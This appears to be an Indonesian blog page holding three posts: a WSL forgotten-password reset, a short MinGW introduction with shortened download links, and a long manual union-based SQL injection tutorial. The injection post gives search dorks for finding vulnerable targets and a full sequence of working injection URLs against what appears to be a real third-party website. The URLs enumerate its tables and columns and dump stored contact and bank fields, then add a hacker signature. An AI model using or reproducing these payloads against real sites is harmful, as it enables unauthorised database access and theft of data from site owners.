Halo sobat IT sudah lama saya tidak memposting diblog ini, ya karena saya disibukan didunia real saya , tapi alhamdulillah sekarang saya dapat memposting diblog ini lagi menyempatkan waktu bernostalgia dengan tulisan tulisan tutorial haha.. okeh langsung saja skuy "Tutorial Mengatasi Lupa Password Subsystem Linux Bash Windows 10"..

Pertama buma command promt windows tentunya sebagai administrator

Kemudian ketikan perintah "ubuntu --default-user root" (tanpa kutip)

Kemudian buka subsystem linux kalian , bisa dengan mengetikan "bash" di cmd atau silahkan kalian dengan cara lain yang biasa kalian lakukan..

Lalu ganti password dengan mengetikan perintah "passwd userkamu" , untuk memasukan kedalam grup sudo masukan perintah "usermod -aG sudo userkamu"

Gunakan perintah "su - userkamu" untuk berpidah password, kemudian gunakan perintah "sudo su" untuk beralih keakses root

Okeh sudah berhasil
jika ingin menghapus user masukan perintah "deluser userkalian" di terminal subsystem linuxnya..

gunakan perintah "passwd userkamu" untuk mengetahui apakah user sudah terhapus atau belum.
Tolong beri komentar apabila saya melakukan kesalahan..
Ya mohon maaf tutorial ini hanya sampai sini yang bisa saya sampaikan semoga dilain waktu saya
semoga bermanfaat terimakasih ^_^
Barakallah fiikum

Menjalankan Program GNU Di Windows




Pada suatu hari saya ingin menjalankan program bash tetapi OS saya windows , mau install linux hardisk udah penuh dan gak punya leptop atau penyimpanan lain.. Tetapi disatu sisi saya sangat membutuhkan windows sebagai alternatif saya menjalankan aktifitas aktifitas perkuliahan.
Akhirnya saya mendapatkan solusi yaitu dengan menjalankan program GNU diwindows dengan menggunakkan MinGW .
Apa itu MinGW ?

"MinGW berarti Minimalis GNU untuk Windows: GNU adalah sumber tool pemrograman open source (GNU adalah singkatan dari GNU is Not Unix)."

-Sumbar google translate dan situs tutorial :VVV

Sebenernya sih masih banyak aplikasi aplikasi lain untuk menjalankan gnu diwindows hanya saja saya ingin mencoba yang satu ini saja.
nah supaya tidak tambah penasaran mending langsung coba deh sendiri langsung :3



Download Program : http://ouo.io/ZxhL6
Tutorial Install dan Setting : http://ouo.io/ZAPEC7

Tutorial SQLI Manual Basic Union Based



Assalamualaikum sobat IT ,,
alhamdulilla yah akhirnya kita ketemu lagi dengan saya ,,
kali ini saya akan berbagi teknik yah cukup terkenal lah dikalangan para underground
mereka biasa menyebutnya Proff sejuta Umat ,, ya tidak lain yaitu Sql injection dimana seseorang dapat menyisipkan perintah perintah sql ke paramater url sehingga dapat memanipulasi database target tersebut..
hanya saja saya kali ini yang versi manualnya dan yang paling dasar ..
langsung saja yu ke TKP ...

pertama jika kalian ingin menggunakan dork ,, gunakan dork
misal ..
inurl:/index.php?id=
inurl:/berita.php?tampil=
yang penting ada parameter yang jelas nya ..

selanjutnya jika sudah mendapatkan target kita akan melakukan order by  yaitu berguna untuk mengetahui jumlah table yang ada di database... :v

untuk live target saya yaitu :
http://www.jobperformance.dk/page.php?id=48

cara mengecek vuln nya dengan menambahkan tanda (') di belakang angka
contoh :
http://www.jobperformance.dk/page.php?id='48


nahh error berarti vuln

selanjutnya kita akan coba lakukan order by ..
liat gamabar

caranya order dengan menambahkan satu angka dibelakang terus sampai menemukan error

http://www.jobperformance.dk/page.php?id=48+order+by+1--
http://www.jobperformance.dk/page.php?id=48+order+by+2--
http://www.jobperformance.dk/page.php?id=48+order+by+3--
http://www.jobperformance.dk/page.php?id=48+order+by+4--
terusss ,,,
dan ..
http://www.jobperformance.dk/page.php?id=48+order+by+12--

yap ,, saya mendapatkan error di order by 12
berarti sudah dipastikan tablenya ada 11 buah ,,
jumlah table = order error -1 aja :v

selanjutnya kita akan mencari Magic number :v
yahh angka magic , begitulah para injektor menyebutnya :'v
caranya dengan melakukan -48+union+select+1,2,3,4,5,6,7,8,9,10,11-- (sesuai jumlah table)
sama seperti yang dilakukan order by tadi ,, hanya pake tanda "-" didepan angka
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,9,10,11--
dan apa yang terjadi ?


muncul angka "9" pemirsa :VV
nah jadi diantara angka 8 dan 10 disanalah yang nantinya akan kita masukan perintah perintah selanjutnya ,, dan angka 9 nanti akan dihilangkan ..
misalkan munculnya dua angka "9" dan "8" berarti kita bisa mengiject diangka "8" dan "9"
kita akan mencoba melihat Versi database yang dipakai oleh web tersebut :v
caranya dengan menambahkan "version()" atau "@@version". diletakan di posisi magicnum tadi
dan kita bisa melihat nama database dengan perintah "database()" atau "@@database" ..
ex:
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,database(),10,11--
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,version(),10,11--



nah disana kita telah mengetahui versi dan nama databasenya ..
v.5.5.54, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
ex :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(table_name),10,11+from+information_schema.tables+where+table_schema=database()--

Nahh kita sudah mengetahui table table yang ada di database web tersebut ..
kita menemukan ada beberapa table yaitu :
cms2_backup,cms2_lang,cms2_news,cms2_options,cms2_pages,cms2_subscribers,cms2_ws_art,cms2_ws_cats
loh ko ada 8 yah ? :V Wallohualam sob harusnya kan 11 :VV

apa yang dilakukan selanjutnya ?? yah kita mencari username dan password ,,
kira kira ditable mana ya sob ? :v ane bingung nih .. :'v
okeh yang mana aja deh kita akan coba di table cms2_options
yaitu dengan menggunakan perintah
“group_concat(column_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --.
pada langkah ini kita harus mengconvert string nama table ke Decimal dulu atau ASCII Value 
gunakan toolnya disini.
nah hasil convetnya adalah (99 109 115 50 95 111 112 116 105 111 110 115 ) pisah kan dengan "," disetiap angka yang terpisah..
lalu masukan ke dalam CHAR(99, 109, 115, 50, 95, 111, 112, 116, 105, 111, 110, 115)
nah seperti itu ..
jadi :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(column_name),10,11+from+information_schema.columns+where+table_name=CHAR(99,%20109,%20115,%2050,%2095,%20111,%20112,%20116,%20105,%20111,%20110,%20115)--


wealah ko yang muncul malah kek ginian :'v bukan username password ,,
yang muncul adalah : lang_show_type,site_url,site_name,site_description,site_keywords,email_admin_url,g_analytics,c_email,c_person,c_name,c_address,c_zip,c_city,c_phone,c_fax,c_cvr,c_bank,c_bank_regno,c_bank_acount,c_map_url,news_num_show,sitemap,crumbs,print,tip,newsletter,news,ticker,rss,search,gallery,guestbook,webshop

tapi yowes lah gak papa pada dasarnya sama aja cara mengambil table dan kolom intinya ..
disana kita menemukan beberapa kolom atau biasa disebut "field" pada database kita akan coba melihat isi dari semua collum tersebut..
gunakan perintah group_concat(namafield,0x3a,namafield,0x3a,namafiled) . letakan 0x3a disetiap batas field
0x3a adalah hasil convert dari ":" ke Hexa
dan diakhiri dengan +from+cms2_options-- .. nahh cms2_options itu adalah nama table dari kolom tersebut..
jadi :
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(lang_show_type,0x3a,site_url,0x3a,site_name,0x3a,site_description,0x3a,site_keywords,0x3a,email_admin_url,0x3a,g_analytics,0x3a,c_email,0x3a,c_person,0x3a,c_name,0x3a,c_address,0x3a,c_zip,0x3a,c_city,0x3a,c_phone,0x3a,c_fax,0x3a,c_cvr,0x3a,c_bank,0x3a,c_bank_regno,0x3a,c_bank_acount,0x3a,c_map_url,0x3a,news_num_show,0x3a,sitemap,0x3a,crumbs,0x3a,print,0x3a,tip,0x3a,newsletter,0x3a,news,0x3a,ticker,0x3a,rss,0x3a,search,0x3a,gallery,0x3a,guestbook,0x3a,webshop),10,11+from+cms2_options--


tinggal print Leet name kita caranya dengan mengkonvert dulu String kita misal "Injected by Peluru Kertas" ke hex ... di http://string-functions.com/string-hex.aspx
kemudian memakai 0x didepannya jadi nya
0x496e6a65637465642062792050656c757275204b6572746173
letakan didalam group_concat atau concat
jadi:
http://www.jobperformance.dk/page.php?id=-48+union+select+1,2,3,4,5,6,7,8,group_concat(0x496e6a65637465642062792050656c757275204b6572746173,lang_show_type,0x3a,site_url,0x3a,site_name,0x3a,site_description,0x3a,site_keywords,0x3a,email_admin_url,0x3a,g_analytics,0x3a,c_email,0x3a,c_person,0x3a,c_name,0x3a,c_address,0x3a,c_zip,0x3a,c_city,0x3a,c_phone,0x3a,c_fax,0x3a,c_cvr,0x3a,c_bank,0x3a,c_bank_regno,0x3a,c_bank_acount,0x3a,c_map_url,0x3a,news_num_show,0x3a,sitemap,0x3a,crumbs,0x3a,print,0x3a,tip,0x3a,newsletter,0x3a,news,0x3a,ticker,0x3a,rss,0x3a,search,0x3a,gallery,0x3a,guestbook,0x3a,webshop),10,11+from+cms2_options--

yahh kalian bisa mengembangkan variasi variasinya ,,,
sebenarnya masih banyak teknik teknik SQL Injection dan ini hanya sebagian kecil dari semuanya..
kita akan bertemu lagi dilain waktu dengan teknik2 lainnya tentunya
ini hanya permulaan..
sampai jumpa lagi semoga bermanfaat :D